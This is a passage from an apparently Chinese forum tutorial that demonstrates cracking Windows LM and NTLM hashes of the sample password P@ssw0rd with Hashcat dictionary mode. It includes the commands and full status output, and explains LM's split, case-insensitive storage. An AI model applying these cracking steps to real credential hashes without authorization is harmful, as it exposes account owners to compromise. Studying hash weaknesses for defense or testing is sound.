a 6 c b 6 d •   N T L M   :   e 1 9 c c f 7 5 e e 5 4 e 0 6 b 0 6 a 5 9 0 7 a f 1 3 c e f 4 2 实 际 上 这 个 明 文 是 ： P @ s s w 0 r d
下 面 用 H a s h c a t 来 简 单 演 示 一 下 破 解 ， 这 里 破 解 我 使 用 了 - a   0 字 典 破 解 ， h a s h c a t   - - h e l p 可 以 看 到 L M 和 N T L M 对 应 的 h a s h 编 号 分 别 为 3 0 0 0 和 1 0 0 0 3 0 0 0   |   L M                                                                                               |   O p e r a t i n g   S y s t e m s 1 0 0 0   |   N T L M                                                                                           |   O p e r a t i n g   S y s t e m s 废 话 不 多 说 ， 下 面 直 接 走 个 流 程 破 解 一 下 吧 ： H a s h c a t 破 解 破 解 L M   H a s h h a s h c a t   - a   0   - m   3 0 0 0   - - f o r c e   ' 9 2 1 9 8 8 b a 0 0 1 d c 8 e 1 4 a 3 b 1 0 8 f 3 f a 6 c b 6 d '   p a s s w o r d . t x t 因 为 L M   H a s h 长 度 最 长 是 1 4 个 字 符 ， 密 码 被 分 成 2 个 长 度 为 7 的 字 符 进 行 存 放 ， 所 以 这 里 H a s h c a t 破 解 的 时 候 也 是 分 2 半 部 分 来 分 别 进 行 破 解 的 ： 4 a 3 b 1 0 8 f 3 f a 6 c b 6 d : D 9 2 1 9 8 8 b a 0 0 1 d c 8 e 1 : P @ S S W 0 R S e s s i o n . . . . . . . . . . :   h a s h c a t S t a t u s . . . . . . . . . . . :   C r a c k e d H a s h . T y p e . . . . . . . . :   L M H a s h . T a r g e t . . . . . . :   9 2 1 9 8 8 b a 0 0 1 d c 8 e 1 ,   4 a 3 b 1 0 8 f 3 f a 6 c b 6 d T i m e . S t a r t e d . . . . . :   T u e   N o v   1 9   0 0 : 0 5 : 1 8   2 0 1 9   ( 0   s e c s ) T i m e . E s t i m a t e d . . . :   T u e   N o v   1 9   0 0 : 0 5 : 1 8   2 0 1 9   ( 0   s e c s ) G u e s s . B a s e . . . . . . . :   F i l e   ( p a s s w o r d . t x t ) G u e s s . Q u e u e . . . . . . :   1 / 1   ( 1 0 0 . 0 0 % ) S p e e d . #   2 . . . . . . . . . :           1 2 9 1   H / s   ( 0 . 1 6 m s )   @   A c c e l : 3 2   L o o p s : 1   T h r : 6 4   V e c : 1 S p e e d . #   3 . . . . . . . . . :                 0   H / s   ( 0 . 0 0 m s )   @   A c c e l : 1 0 2 4   L o o p s : 1   T h r : 6 4   V e c : 1 S p e e d . #   * . . . . . . . . . :           1 2 9 1   H / s R e c o v e r e d . . . . . . . . :   2 / 2   ( 1 0 0 . 0 0 % )   D i g e s t s ,   1 / 1   ( 1 0 0 . 0 0 % )   S a l t s P r o g r e s s . . . . . . . . . :   8 / 8   ( 1 0 0 . 0 0 % ) R e j e c t e d . . . . . . . . . :   0 / 8   ( 0 . 0 0 % ) R e s t o r e . P o i n t . . . . :   0 / 8   ( 0 . 0 0 % ) R e s t o r e . S u b . #   2 . . . :   S a l t : 0   A m p l i f i e r : 0 - 1   I t e r a t i o n : 0 - 1 R e s t o r e . S u b . #   3 . . . :   S a l t : 0   A m p l i f i e r : 0 - 0   I t e r a t i o n : 0 - 1 C a n d i d a t e s . #   2 . . . . :   A D M I N   - >   D C a n d i d a t e s . #   3 . . . . :   [ C o p y i n g ] 可 以 看 到 先 破 解 出 了 ： D ， 然 后 破 解 出 了 P @ S S W 0   比 较 蛋 疼 的 是   L M   H a s h 不 区 分 大 小 写 ， 所 以 我 们 还 得 凭 感 觉 去 猜 出 具 体 的 密 码 。 H a s h c a t 破 解 破 解 N T L M   H a s h h a s h c a t   - a   0   - m   1 0 0 0   - - f o r c e   ' e 1 9 c c f 7 5 e e 5 4 e 0 6 b 0 6 a 5 9 0 7 a f 1 3 c e f 4 2 '   p a s s w o r d . t x t 破 解 成 功 ， 得 到 如 下 结 果 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理